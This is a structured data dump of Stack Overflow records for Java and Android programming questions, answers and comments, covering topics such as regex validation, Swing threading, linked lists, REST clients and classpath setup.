has text: Your question is the very old question of how to parse an expression string to an executable piece of code. You just replaced “executable piece of code” by the term “lambda expression”.

http://stackoverflow.com/a/22191299
score: 0
answers question: http://stackoverflow.com/q/22191059
type: Answer
has body: you can code like this using a custom constructor class login extends JFrame{ homepage hp= new homepage(this); setVisible(false); hp.setVisible(true); } class homepage extends JFrame{ private login loginObj; public homepage(login loginObj){ this.loginObj=loginObj; loginObj.setVisible(true); } }

http://stackoverflow.com/comment/33707068
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22202207
has text: Thanks @DonBranson. Not a real project. This is for my learning. using a separate command-processing thread solves this You mean to say that I can have another Timer and TimerTask that keeps writing the studentList to the RandomAccessFile at regular intervals. It will also need to synchronize on the common studentList in memory and perform write to file in the synchronized block. This is to prevent changes to studentList when the thread is writing to file.
type: AnswerComment

http://stackoverflow.com/a/22349620
score: 1
answers question: http://stackoverflow.com/q/22317932
has comment: http://stackoverflow.com/comment/33977244
type: Answer
accepted answer of: http://stackoverflow.com/q/22317932
has comment: http://stackoverflow.com/comment/33969925
upvote count: 1
has comment: http://stackoverflow.com/comment/33971619
has body: Introduce an extra validation annotation that checks whether the input matches a non-whitespace regular expression: @Required @Pattern("[\\S]+") public String name; \s is a shorthand character class that matches a whitespace character \S is the negated version of this that matches a non-whitespace character + indicates we need at least one non-whitespace character for a match Finally, the backslash needs escaping in Java syntax.
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33974982

http://stackoverflow.com/a/22230919
has comment: http://stackoverflow.com/comment/33757140
answers question: http://stackoverflow.com/q/22230853
has comment: http://stackoverflow.com/comment/33756552
upvote count: 6
has comment: http://stackoverflow.com/comment/33756848
has comment: http://stackoverflow.com/comment/33756539
has comment: http://stackoverflow.com/comment/33756530
has comment: http://stackoverflow.com/comment/33756824
has comment: http://stackoverflow.com/comment/33756488
score: 6
type: Answer
has comment: http://stackoverflow.com/comment/33756934
has body: There may be a library, but including it only for these 3 lines of code would probably not worth another dependency... private static &lt;Item&gt; List&lt;Item&gt; union(List&lt;Item&gt; ... itemLists) { List&lt;Item&gt; result = new ArrayList&lt;Item&gt;(); for (List&lt;Item&gt; list : itemLists) result.addAll(list); return result; }
downvote count: 0

http://stackoverflow.com/comment/33789361
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22245066
type: AnswerComment
has text: correct explanation.I missed out that generics object creation is not allowed due to type erasure also apart from the reasons I mentioned in my answer

http://stackoverflow.com/q/22278645
answer count: 2
has answer: http://stackoverflow.com/a/22278678
linked to: http://stackoverflow.com/q/19388037
tagged with: java
downvote count: 3
upvote count: 0
has answer: http://stackoverflow.com/a/22278664
type: UnansweredQuestion
score: -3
has body: public static boolean isVowel (char c){ return "A,a,E,e,I,i,O,o,U,u".indexOf(c) != -1; } Can u guys explain the whole concept of this code? what does public static boolean isvowel do? what does return do? and what does .indexOf(c) do and mean? and why use a -1 there? thanks for the help
has comment: http://stackoverflow.com/comment/33843925
has title: trouble understanding how this code works in java
favorite count: 0
has comment: http://stackoverflow.com/comment/33843884
type: Question

http://stackoverflow.com/comment/33665492
comment on: http://stackoverflow.com/q/22179948
has text: Can you post the code for your User class? What are the values of username and password each iteration of the loop?
type: Comment
type: QuestionComment
score: 3

http://stackoverflow.com/comment/33882712
score: 0
type: AnswerComment
type: Comment
has text: is it the R.java file? I couldn't find the class. Manisfest file is not the one thath exlipse generates automatically, since it was not working I was googling it and found some stuff and put on it to make it work.
comment on: http://stackoverflow.com/a/22293974

http://stackoverflow.com/a/22260416
score: 10
has comment: http://stackoverflow.com/comment/33825213
has comment: http://stackoverflow.com/comment/33830797
upvote count: 10
has comment: http://stackoverflow.com/comment/33850685
has body: In this context, the meaning is more like the military marching. Or, when one operation advances, other operations advances/follows with it. Or more specifically, if you want to iterate over two collections, you cannot easily the foreach construct: for (Item i : list1) { //only allows you to iterate over 1 list. } Iterate over 2 collections ) Iterator iter1 = list1.iterator(); Iterator iter2 = list2.iterator(); while (iter1.hasNext() &amp;&amp; iter2.hasNext()){ Item a = iter1.next(); Item b = iter2.next(); doSomething(a, b); } i.e. while iterating list1, iterating list2 follows with it - "in lockstep"
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22260322
answers question: http://stackoverflow.com/q/22260322

http://stackoverflow.com/a/22230982
has comment: http://stackoverflow.com/comment/33759747
has comment: http://stackoverflow.com/comment/33795834
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/33795298
has body: I think you could avoid synchronizing threads... For example, this task: for(int i = prime*2; i &lt; max; i = prime + i) { remove(i); } it could be partitioned in small tasks. for (int i =0; i &lt; thread_poll; i++){ int totalPos = max/8; // dividing virtual array in bytes int partitionSize = totalPos /thread_poll; // dividing bytes by thread poll removeAll(prime, partitionSize*i*8, (i + 1)* partitionSize*8); } .... // no colisions!!! void removeAll(int prime, int initial; int max){ k = initial / prime; if (k &lt; 2) k = 2; for(int i = k * prime; i &lt; max; i = i + prime) { remove(i); } }
type: Answer
answers question: http://stackoverflow.com/q/22229792

http://stackoverflow.com/comment/33831755
comment on: http://stackoverflow.com/a/22261852
type: AnswerComment
has text: I tried many ways. Can you guide me how to define my own JNDI name to lookup? I can not use the ejb jar name to lookup jndi. I use annotations and do not have ejb-jar.xml either. what is the solution for me?
score: 0
type: Comment

http://stackoverflow.com/a/22312099
score: 1
has comment: http://stackoverflow.com/comment/33905435
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22309440
accepted answer of: http://stackoverflow.com/q/22309440
has comment: http://stackoverflow.com/comment/33940850
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/33906526
has body: As long as you only need the Email addresses without any additional data, you can just store them as Strings. Using a List is much more flexible than using an array. I especially like, that lists can get as long as you want... I wrote an example, using a Map as storage. A Map is in general a good way of organizing stuff: You can store data in it by defining "key/value"-pairs. In my example the map uses subdomains (as Strings) as keys and Lists of eMail-Addresses (again as Strings) as values. import java.io.File; import java.io.IOException; import java.io.PrintWriter; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Map.Entry; import java.util.Scanner; import java.util.regex.Matcher; import java.util.regex.Pattern; public class Try { public static void main(String[] args) throws IOException { Map&lt;String, List&lt;String&gt;&gt; storage = new HashMap&lt;&gt;(); // !important! initialize scanner with a file, not with a filename Scanner input = new Scanner(new File("inputemails.txt")); // a new pattern to get the subdomain out of an eMail-address Pattern subdomainPattern = Pattern .compile(".*\\@([^\\.]+(?:\\.[^\\.]+)*)(?:\\.[^\\.]+){2,}"); // I used your pattern to find any eMail-address Pattern eMailPattern = Pattern .compile("([\\w\\-]([\\.\\w])+[\\w]+@([\\w\\-]+\\.)+[A-Za-z]{2,4})"); // Use Scanner to find each match in your input file String eMailAddress; while ((eMailAddress = input.findWithinHorizon(eMailPattern, 0)) != null) { // determine the subdomain of this eMail-address String subdomain; Matcher matcher = subdomainPattern.matcher(eMailAddress); if (matcher.matches()) { subdomain = matcher.group(1); } else { subdomain = "no subdomain"; } // get/create list of all eMail-addresses for this subdomain from // map List&lt;String&gt; listOfEMailAddresesToThisSubdomain = storage .get(subdomain); if (listOfEMailAddresesToThisSubdomain == null) { listOfEMailAddresesToThisSubdomain = new ArrayList&lt…
has comment: http://stackoverflow.com/comment/33905347

http://stackoverflow.com/comment/33677782
comment on: http://stackoverflow.com/q/22186654
type: Comment
type: QuestionComment
score: 0
has text: If there is no variable to compare, why would you want to compare?

http://stackoverflow.com/comment/33655095
score: 0
type: Comment
type: QuestionComment
has text: Well, any marking taking more than one byte change would contradict that anyway - marking as deleted/shifting only one chunnk could still be interrupted right?
comment on: http://stackoverflow.com/q/22170740

http://stackoverflow.com/q/22271776
tagged with: java
has comment: http://stackoverflow.com/comment/33831180
has comment: http://stackoverflow.com/comment/33831208
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/22283173
accepted answer: http://stackoverflow.com/a/22283173
downvote count: 0
has body: Let's say I have a vector of a hashset of strings: Vector&lt;HashSet&lt;String&gt;&gt; strSetVector = new Vector&lt;HashSet&lt;String&gt;&gt;(); I have 4 hashsets containing the following strings: "A", "B" "C", "D" "B", "C" "E", "F" I want to combine the sets that have at least one common value so that I end up with: "A", "B","C", "D" "E", "F" The obvious solution is to iterate multiple times thru the vector and each hashset to find common values but this will take a while to process with a vector size of 1000+ and HashSets of size up to 100. I would also have to go thru the process again if i merge a hashset to see if there are now other hashsets that can be merged. For example, first vector iteration would combine B,C to A,B so that I would end up with: "A", "B", "C" "C", "D" "E", "F" Next iteration of the vector/hashset: "A", "B", "C", "D" "E", "F" Next iteration of the vector/hashset would not find any common strings so there would be nothing to merge and I would be done. I would like a more elegant solution to what seems like a simple problem. Any ideas?
upvote count: 1
favorite count: 0
possible better answer: http://stackoverflow.com/a/22274360
type: AnsweredQuestion
tagged with: performance
linked to: http://stackoverflow.com/q/8124626
has title: combining list of strings with a common element
has comment: http://stackoverflow.com/comment/33831134
has answer: http://stackoverflow.com/a/22274360
score: 1

http://stackoverflow.com/comment/33861202
score: 0
type: Comment
type: QuestionComment
has text: I use elasticsearch with Java API, and I realized that sometimes it takes some seconds before update data in it, so even if I checked in synchronized method (at step 2 or 3) it's possible I see older data.
comment on: http://stackoverflow.com/q/22287677

http://stackoverflow.com/q/22307096
tagged with: file
type: Question
has comment: http://stackoverflow.com/comment/33894913
has answer: http://stackoverflow.com/a/22307282
score: 0
answer count: 2
has title: How to display name of the files without extensions and in alphabetical order
has body: I have this script which allow to display inside a list view, the name of the files located in a specific folder. I would like to know if is possible adapt this script to display the files without the extension and in alphabetical order. Thank you File dir = new File(Environment.getExternalStorageDirectory().getPath() + "/osmdroid/tiles/"); File[] filelist = dir.listFiles(); String[] theNamesOfFiles = new String[filelist.length]; for (int i = 0; i &lt; theNamesOfFiles.length; i++) { theNamesOfFiles[i] = filelist[i].getName(); } adapter = new ArrayAdapter&lt;String&gt;(this, R.layout.list_row, theNamesOfFiles); lv.setAdapter(adapter);
has answer: http://stackoverflow.com/a/22307274
type: UnansweredQuestion
tagged with: android
linked to: http://stackoverflow.com/q/924394
has comment: http://stackoverflow.com/comment/33894998
tagged with: java

http://stackoverflow.com/q/22275628
has comment: http://stackoverflow.com/comment/33838443
has comment: http://stackoverflow.com/comment/33838393
has title: Exception in thread "Thread-3" java.lang.NumberFormatException: For input string: ""
score: 0
tagged with: numberformatexception
has comment: http://stackoverflow.com/comment/33838461
has comment: http://stackoverflow.com/comment/33838653
answer count: 1
has body: So my main plan is to have a GUI with a button and two jTextFields. When the button is pressed it starts a new thread of the Runnah class I have made. The Runnah class is suppose to get the input from the text fields; The Runnah class then gets a NumberFormatException when I run gui.getSeconds(); The MainGUI Class public class MainGUI extends javax.swing.JFrame { Runnah runnah; Thread thread; public MainGUI() { initComponents(); //runnah = new Runnah(); } private void startButtonActionPerformed(java.awt.event.ActionEvent evt) { try { runnah = new Runnah(); } catch (AWTException ex) { Logger.getLogger(MainGUI.class.getName()).log(Level.SEVERE, null, ex); } thread = new Thread(runnah); thread.start(); } public String getInput(){ String temp = textInp.getText(); return temp; } public int getSeconds(){ return Integer.parseInt(secInp.getText()); } /** * @param args the command line arguments */ public static void main(String args[]) { /* Create and display the form */ java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new MainGUI().setVisible(true); } }); } // Variables declaration - do not modify private javax.swing.JTextField secInp; private javax.swing.JButton startButton; private javax.swing.JTextField textInp; // End of variables declaration } The Runnah Class public class Runnah implements Runnable{ private MainGUI gui; private Robot robot; public Runnah() throws AWTException{ this.robot = new Robot(); gui = new MainGUI(); } public Runnah(Robot robot) { this.robot = robot; } @Override public void run() { String temp = gui.getInput(); CharSequence input = temp; int seconds = 1; seconds = gui.getSeconds() * 1000; robot.delay(seconds); } If any more information is needed please let me know.
has comment: http://stackoverflow.com/comment/33838587
type: UnansweredQuestion
tagged with: swing
has comment: http://stackoverflow.com/comment/33838407
has answer: http://stackoverflow.com/a/22275870
tagged with: java
tagged with: jtextfield
type: Question
has comment: http://stackoverflow.com/comment/33838401
has comment: http://stackoverflow.com/comment/33838336

http://stackoverflow.com/a/22525055
score: 0
type: Answer
has body: If you just want to prevent users from entering only white spaces into the text field, you can use: @Constraints.Required @Formats.NonEmpty public String name; The accepted solution will not validate if you have white spaces in between your words. If that's what you want, then it's ok.
answers question: http://stackoverflow.com/q/22317932

http://stackoverflow.com/a/22272826
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22272740
type: Answer
downvote count: 0
has body: Your problem is that itemName (and all your other variables) have been declared static. This binds them to the class, not to an instance, so when your constructor alters itemName, it alters that variable for the whole class. To see what I mean by "class variable", try this: define a main method in RetailItem that looks like this: public static void main(String[] args) { // Print the property of the RetailItem *class*: remember, you don't even have an instance of the class at this point. System.out.println(RetailItem.itemName); // null RetailItem item = new RetailItem("a", 1, 1); // Print the property of the class again, ignoring the instance that you created. System.out.println(RetailItem.itemName); // "a" } To resolve this, just remove the static declaration from anything you intend to be an instance variable (as well as the setters/getters!). private String itemName; public String getItemName() { return itemName; }
score: 1
answers question: http://stackoverflow.com/q/22272740
upvote count: 1

http://stackoverflow.com/q/22169346
has comment: http://stackoverflow.com/comment/33647128
type: Question
tagged with: automation
tagged with: frameworks
has body: Are there any solution to get rid of using Java reflections in my case. Please see the following for my requirement. A java project is created containing different 5 classes and 5 methods in each class. These methods are listed in an excel. Example: In a single column in excel I specify the following: Method2 from Class1, Method 5 from Class4 and Method 3 from Class 2 When I execute my program(another Junit method), It should call the methods in the above order and upon successful execution should display result.
score: 0
has comment: http://stackoverflow.com/comment/33646255
answer count: 0
type: UnansweredQuestion
tagged with: keyword
tagged with: excel
has title: Alternative to Java Reflections
tagged with: java

http://stackoverflow.com/comment/33831709
score: 0
type: AnswerComment
type: Comment
has text: ok, in that case you cannot use the default implementation. Still, I would personally recommended you use interfaces in a situation like this. Indeed, it is exactly what they were made for. This kind of development is called "Design by contract". For more, see this link: http://en.wikipedia.org/wiki/Design_by_contract
comment on: http://stackoverflow.com/a/22271793

http://stackoverflow.com/comment/33673683
comment on: http://stackoverflow.com/q/22184240
type: QuestionComment
type: Comment
has text: I don't care if the class is static or anonymous. i want to not bother with an instance of Validator when i don't need to create one (i guess in the back of my mind i'm thinking this creates extra data/implications when there is no need for one)
score: 0

http://stackoverflow.com/comment/34339121
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22208936
has text: @vikingsteve, I would say the same about mobile development (even worse, since they are running different APIs over different languages). In practice IDE have their underlying platform, UI layer, module system (lately all of the three mentioned are OSGi compatible), etc. I'm not saying that this is a easy problem to tackle, I'm just saying that if solutions for mobile are appearing, an abstraction to generate code for multiple IDEs should also be feasible.

http://stackoverflow.com/comment/33755014
has text: Great! Added to bookmark to keep myself updated :D @PaoloFulgoni
type: AnswerComment
comment on: http://stackoverflow.com/a/22224532
type: Comment
score: 0

http://stackoverflow.com/comment/33728866
comment on: http://stackoverflow.com/q/22215045
score: 1
has text: Your code does not seem to match your subject title at all.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22289404
tagged with: java
downvote count: 3
upvote count: 1
type: Question
score: -2
has body: I have a rest service method: @GET @Path("/searchMekan") @Produces({ MediaType.APPLICATION_JSON }) public List&lt;Mekan&gt; searchMekan(@PathParam("mesafe") int mesafe, @PathParam("lokasyonEnlem") String lokasyonEnlem, @PathParam("lokasyonBoylam") String lokasyonBoylam) { .................... } But I don't know how to call this method from the client side, and I actually don't know how to set method parameters from the client side. Could you please create a client for this method? (I use java at the client side.) Here is my client; public class MekanSearchServisTest { public static void main(String[] args) { ClientConfig config = new DefaultClientConfig(); Client client = Client.create(config); WebResource service = client.resource(getBaseURI()); System.out.println(service.path("servis").path("mekansearchservis") .path("searchMekan") .accept(MediaType.APPLICATION_JSON).get(String.class)); } private static URI getBaseURI() { return UriBuilder.fromUri("http://localhost:7001/KampanyaDuyuruServis") .build(); } }
answer count: 1
has answer: http://stackoverflow.com/a/22289488
has comment: http://stackoverflow.com/comment/33863458
favorite count: 0
tagged with: rest
type: UnansweredQuestion
has title: Restful - How to set restful ws method parameters

http://stackoverflow.com/a/22314095
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22314051
has body: you can use some of class in this package then you ctrl+click left on this class in eclipse you can go to this class. at last,you click Link with Editor, you can find whick package it belong.

http://stackoverflow.com/a/22210320
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/33721027
has body: I think what you are looking for is the entrySet() method of Map. This allows you to iterate over the pairs of key and corresponding value together: public void put(K key, V val) { Iterator&lt;Map.Entry&lt;K, V&gt;&gt; entries = entrySet().iterator(); while (entries.hasNext()) { if (entries.next().getValue().equals(val)) { entries.remove(); break; } } super.put(key, val); }
answers question: http://stackoverflow.com/q/22208281
accepted answer of: http://stackoverflow.com/q/22208281
score: 0

http://stackoverflow.com/comment/33727423
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22213801
score: 0
has text: logcat after only just clicking fetch (and FC) posted here: http://pastebin.com/mqUn6g7P

http://stackoverflow.com/a/22186845
downvote count: 1
has comment: http://stackoverflow.com/comment/82886456
score: 120
type: Answer
has comment: http://stackoverflow.com/comment/77665404
has body: Helpful method I created a while ago... private static double round (double value, int precision) { int scale = (int) Math.pow(10, precision); return (double) Math.round(value * scale) / scale; }
upvote count: 121
answers question: http://stackoverflow.com/q/22186778

http://stackoverflow.com/q/22200066
has comment: http://stackoverflow.com/comment/33747129
type: Question
has comment: http://stackoverflow.com/comment/33738061
has title: Using function from another package in Android
score: 0
has body: I continue my previous topic related to the way to implement plugins in Android. Well, I have, for example, in the class Main function setBackgroundColor(Color color). Can I now use it in a plugin? I do not want to share the main application code, but I want to when you call the function setBackgroundColor() of the plugin effect was the same, I invoke it from the main application. The only thing I do not think now is the interface, something like: public interface IPlugin { public void init(); public void destroy(); public void stop(); } However, I do not know how to continue. Please explain
has comment: http://stackoverflow.com/comment/33747452
has comment: http://stackoverflow.com/comment/33706684
has comment: http://stackoverflow.com/comment/33741966
has comment: http://stackoverflow.com/comment/33792669
type: UnansweredQuestion
tagged with: android
tagged with: plugins
answer count: 0
tagged with: java

http://stackoverflow.com/a/22197622
has body: As javascript is a client side script, it cannot invoke java methods directly which resides on the server Without any particular java frameworks, you could make use of Java Server Pages (JSP) to invoke deleteconfig.initiate() when it receives a GET request from javascript. sending request //javascript code function callInititiate(){ //This sends a get request to executeInit.jsp // $.get('localhost/myWebbApp/executeInit.jsp'); } $(callInitiate); Receive Request On the server side, you should have executeInit.jsp that calls deleteconfig.initiate() static method //in executeInit.jsp &lt;%@ page import="deleteconfig"%&gt; &lt;% // executes initiate() static method deleteconfig.initiate(); %&gt; Perhaps reading more about Java Server Pages can get you started!
answers question: http://stackoverflow.com/q/22196172
score: 0
type: Answer

http://stackoverflow.com/q/22223904
has body: I'm a beginner in Android development. I'm trying to make an app where you search for name and show the matching results (from a database) in a listview. Since there's a lot of data, I thought it would be best to write a database without using the SQLiteOpenHandler. So now that I have my .db file, I need a way to be able to use it in my app from the assets folder and also to be able to search through it. I found to links which I thought could be useful. http://www.reigndesign.com/blog/using-your-own-sqlite-database-in-android-applications/ This shows how to use an existing database. http://developer.android.com/training/search/search.html And this is Google's information on storing and searching data. I need to know is it possible to somehow combine these two methods together to achieve what I'm looking for?
tagged with: java
has comment: http://stackoverflow.com/comment/33744375
type: Question
has comment: http://stackoverflow.com/comment/33744165
score: 0
has answer: http://stackoverflow.com/a/22224788
tagged with: sqlite
answer count: 1
has title: How to use my own sqlite database and search through it in android?
type: UnansweredQuestion
tagged with: android
linked to: http://stackoverflow.com/q/17766312
has comment: http://stackoverflow.com/comment/58096010

http://stackoverflow.com/q/22208961
has comment: http://stackoverflow.com/comment/33752679
has answer: http://stackoverflow.com/a/22230148
has comment: http://stackoverflow.com/comment/33758280
has title: Issue with Button in AlertDialog (Floating off screen)
type: UnansweredQuestion
tagged with: android
has answer: http://stackoverflow.com/a/72262683
has body: Here's an image of what my issue looks like: That box at the bottom is the top half of a button. Whenever I've got too many Stock Options in the dialog box, it first forces the button off screen, THEN it scrolls. I want the button fixed at the bottom of the dialog and then have the scrolling happen. Here's the code: public void buyStock(View view){ Context context = getApplicationContext(); //create ScrollView to hold everything ScrollView scrollView = new ScrollView(context); //generate content for dialog LinearLayout dialogContainer = new LinearLayout(context); dialogContainer.setOrientation(LinearLayout.VERTICAL); LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(LinearLayout.LayoutParams.WRAP_CONTENT, 400, 1); dialogContainer.setLayoutParams(params); dialogContainer.setPadding(15, 15, 0, 15); dialogContainer.setBackgroundColor(Color.WHITE); //each hotel stock options for (int i = 0; i &lt; hotels.size(); i++) { Hotel testHotel = hotels.get(i); testHotel.setPrice(200); View stockPicker = getStockPicker(testHotel); LinearLayout.LayoutParams pickerParams = new LinearLayout.LayoutParams(LinearLayout.LayoutParams.WRAP_CONTENT, 100, 1.0f); pickerParams.gravity = Gravity.LEFT; stockPicker.setLayoutParams(pickerParams); dialogContainer.addView(stockPicker); stockPicker.setBackgroundColor(0xffffff); } scrollView.addView(dialogContainer); LinearLayout dialogLayout = new LinearLayout(context); dialogLayout.setOrientation(LinearLayout.VERTICAL); Button buyButton = new Button(context); LinearLayout.LayoutParams buttonParams = new LinearLayout.LayoutParams(LinearLayout.LayoutParams.MATCH_PARENT, 100); buyButton.setLayoutParams(buttonParams); LinearLayout buttonLayout = new LinearLayout(context); buttonLayout.addView(buyButton); dialogLayout.addView(scrollView); dialogLayout.addView(buttonLayout); ContextThemeWrapper ctw = new ContextThemeWrapper(this, R.style.AppTheme); AlertDialog.Builder buyStockDialog = new AlertDialog.Builder(ctw); buyStockDialog.setTitle("…
answer count: 4
tagged with: android-alertdialog
has answer: http://stackoverflow.com/a/22229504
tagged with: java
has answer: http://stackoverflow.com/a/22231791
has comment: http://stackoverflow.com/comment/33758674
type: Question
has comment: http://stackoverflow.com/comment/33758344
score: 0
has comment: http://stackoverflow.com/comment/33758492

http://stackoverflow.com/comment/33681775
has text: The way it should work. stamp1 = stamps of a dollars stamp20 = stamps of twenty dollars stamp50 = stamps of fifty dollars if money is more than 50. I then see how many stamps of 50 dollars they can buy, and then how many of twenty, and then how many of a dollar. same with the rest. Then at the end I just print the values of the variables
comment on: http://stackoverflow.com/a/22188693
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22240642
answer count: 2
has answer: http://stackoverflow.com/a/22240849
has comment: http://stackoverflow.com/comment/33775515
has comment: http://stackoverflow.com/comment/33775651
has comment: http://stackoverflow.com/comment/33775686
has body: I'm writing an extra removeRange() method that except a start index and end index as parameters. I've passed all the conditions except when the number of nodes equals the range from start to end. example my linked list contains: 1 -&gt; 2 -&gt; 3 after the method removeRange(0,2) is called: list should become null, since from 0 to 2, the count is 3 and there are also 3 elements in my list. look at the picture for a better idea of what's going on if you can. Code: public void removeRange(int start, int end) { if(start &lt; 0 || end &lt; 0) { throw new IllegalArgumentException(); } if(start == 0 &amp;&amp; end == 0) { front = front.next; } else if (start == 0 &amp;&amp; end == 1) { front = front.next.next; } else { ListNode head = front; for(int i = 0; i &lt; start-1;i++) { head = head.next; } ListNode tail = front; for(int i = 0; i &lt; end;i++) { tail = tail.next; } head.next = tail.next; } }
accepted answer: http://stackoverflow.com/a/22240849
type: AnsweredQuestion
tagged with: linked-list
has title: Removing all nodes from linked list (given a start and an end index)
type: Question
has comment: http://stackoverflow.com/comment/33775371
possible better answer: http://stackoverflow.com/a/22240916
tagged with: java
has answer: http://stackoverflow.com/a/22240916
tagged with: nodes
score: 0

http://stackoverflow.com/a/22300546
has body: You have several problems in your code. First you should read about constructors. You get only the hashes on the console because you are telling Java to output an object. Since your object does not have a proper toString method it cannot know how the output should look like. Three hints: Vehicle(String name, String model, int year, double cost_price) { //as you have it above } //add year to this constructor Vehicle(String name, String model, int year, int quantity, double cost_price, String registration_no) { this(name, model, year, cost_price); this.quantity = quantity; this.selling_price = cost_price; this.registration_no = registration_no; } And: @Override public String toString() { //camelCase is important! return this.name + ", " + this.model; //adopt this part as you want it to } Finally: //Vehicle v1 = new Vehicle("Ferrari", "Enzo", 2011, 250000); //you cannot call two different constructors Vehicle v1 = new Vehicle("Ferrari", "Enzo", 2011, 6, 250000, "PK07LVD");
score: 1
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/33886219
has comment: http://stackoverflow.com/comment/33883602
answers question: http://stackoverflow.com/q/22300097
type: Answer

http://stackoverflow.com/comment/33929724
score: 1
comment on: http://stackoverflow.com/q/22326923
type: QuestionComment
has text: The first argument to `replaceAll` is a regex, as the docs indicate. The `$` character has meaning in a regex, as any regex tutorial indicates.
type: Comment

connection
tags question: http://stackoverflow.com/q/22323700
type: Tag
tags question: http://stackoverflow.com/q/22298067
tags question: http://stackoverflow.com/q/22197290
tags question: http://stackoverflow.com/q/22225074
tags question: http://stackoverflow.com/q/22308809
tag name: connection
tags question: http://stackoverflow.com/q/22183052
tags question: http://stackoverflow.com/q/22203552

http://stackoverflow.com/q/22270479
score: 0
has comment: http://stackoverflow.com/comment/33829010
has title: OpenGL near clipping messed up
type: AnsweredQuestion
has body: I have a plane that gets clipped when it gets too close. However, I can see that there is definately more space for the plane to expand. Here's an example of what I'm seeing The entire thing is a gaitn square, but the part closest to the screen has been cut off. It seems to happen only when I bring the "camera" down. I know that in games it is possible to have the camera very low and still render everything close to the screen, so I can't understand why it's not working here
tagged with: opengl
tagged with: java
tagged with: lwjgl
type: Question
answer count: 1
has answer: http://stackoverflow.com/a/22791032
accepted answer: http://stackoverflow.com/a/22791032

http://stackoverflow.com/a/22278171
type: Answer
accepted answer of: http://stackoverflow.com/q/22278041
answers question: http://stackoverflow.com/q/22278041
upvote count: 1
score: 1
has body: Remove this line from your secondlayout.xml put it in your ManifestFile.xml in your project. Your all Permission should be written in your Manifest.xml rather than in your_layout.xml Hope it will help you.
has comment: http://stackoverflow.com/comment/33843123
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/33774695
type: AnswerComment
comment on: http://stackoverflow.com/a/22239847
score: 0
type: Comment
has text: I uploaded. Hope I used your debugging code correct.

http://stackoverflow.com/a/22203041
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/33707401
answers question: http://stackoverflow.com/q/22202915
has comment: http://stackoverflow.com/comment/33707066
accepted answer of: http://stackoverflow.com/q/22202915
type: AcceptedAnswer
downvote count: 0
has body: Use Arrays.fill() to avoid looping. Example Create an array with 30 instances of MyClass that all have the values 20, 20, 20. MyClass[] theArray = new MyClass[30]; Arrays.fill(theArray, new MyClass(20,20,20));
has comment: http://stackoverflow.com/comment/33707008
type: Answer
has comment: http://stackoverflow.com/comment/33707139

http://stackoverflow.com/q/22190958
tagged with: java
upvote count: 1
has title: Apache Wicket Manually select a radio button along with its onEvent()
type: Question
has body: Hi I'm new to Apache Wicket. I have a form and a Radio Group in it. After some form operation I want to keep a radioGroup to default selected value. I got it working somehow using form.get( "radioChoices" ).setDefaultModelObject( "choice1" ); But 'choice1' has onEvent() method overridden to clear text fields and setDefaultModelObject doesn't calls choice1's onEvent() method. Is there any way to properly set radioGroup to 'choice1' that eventually calls its onEvent() method?
has answer: http://stackoverflow.com/a/22219419
tagged with: apache
answer count: 1
downvote count: 0
tagged with: wicket-1.5
favorite count: 0
type: UnansweredQuestion
tagged with: wicket
score: 1

http://stackoverflow.com/q/22243390
has comment: http://stackoverflow.com/comment/33780401
tagged with: jar
downvote count: 0
score: 1
has body: I am trying to generate webservice from an existing WSDL file. In AXIS2 home page I found the method to that. java org.apache.axis2.wsdl.WSDL2Java -uri file:///C:/apps/axis2/samples/zSample/Axis2UserGuide.wsdl -p org.apache.axis2.axis2userguide -d adb -s -wv 1.1 -ss -sd -ssi But when I execute this command in my terminal it gives the following error. Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/axis2/wsdl/WSDL2Java Caused by: java.lang.ClassNotFoundException: org.apache.axis2.wsdl.WSDL2Java at java.net.URLClassLoader$1.run(URLClassLoader.java:202) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(URLClassLoader.java:190) at java.lang.ClassLoader.loadClass(ClassLoader.java:306) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301) at java.lang.ClassLoader.loadClass(ClassLoader.java:247) Could not find the main class: org.apache.axis2.wsdl.WSDL2Java. Program will exit. That class is in axi2-codegewn jar, Then I tried to define the classpath using several methods. There are many dependencies (many jars to refer) so that I cant define the jars one by one seperately. What is the correct way to define the classpath to execute above command ? I want to include all jars in the libs folder at once.
favorite count: 0
tagged with: linux
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/22243565
upvote count: 1
tagged with: classpath
answer count: 1
tagged with: apache-axis
has title: Could not find WSDL2Java class
type: UnansweredQuestion

http://stackoverflow.com/q/22225529
has answer: http://stackoverflow.com/a/22225703
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33747103
has comment: http://stackoverflow.com/comment/33746585
tagged with: filereader
answer count: 4
has comment: http://stackoverflow.com/comment/33746914
has answer: http://stackoverflow.com/a/22226036
tagged with: java
has comment: http://stackoverflow.com/comment/33747224
type: Question
has comment: http://stackoverflow.com/comment/33777539
has answer: http://stackoverflow.com/a/22225884
tagged with: bufferedreader
has answer: http://stackoverflow.com/a/22225755
score: 0
has title: How can we enhance performance using hooking?
has comment: http://stackoverflow.com/comment/33747131
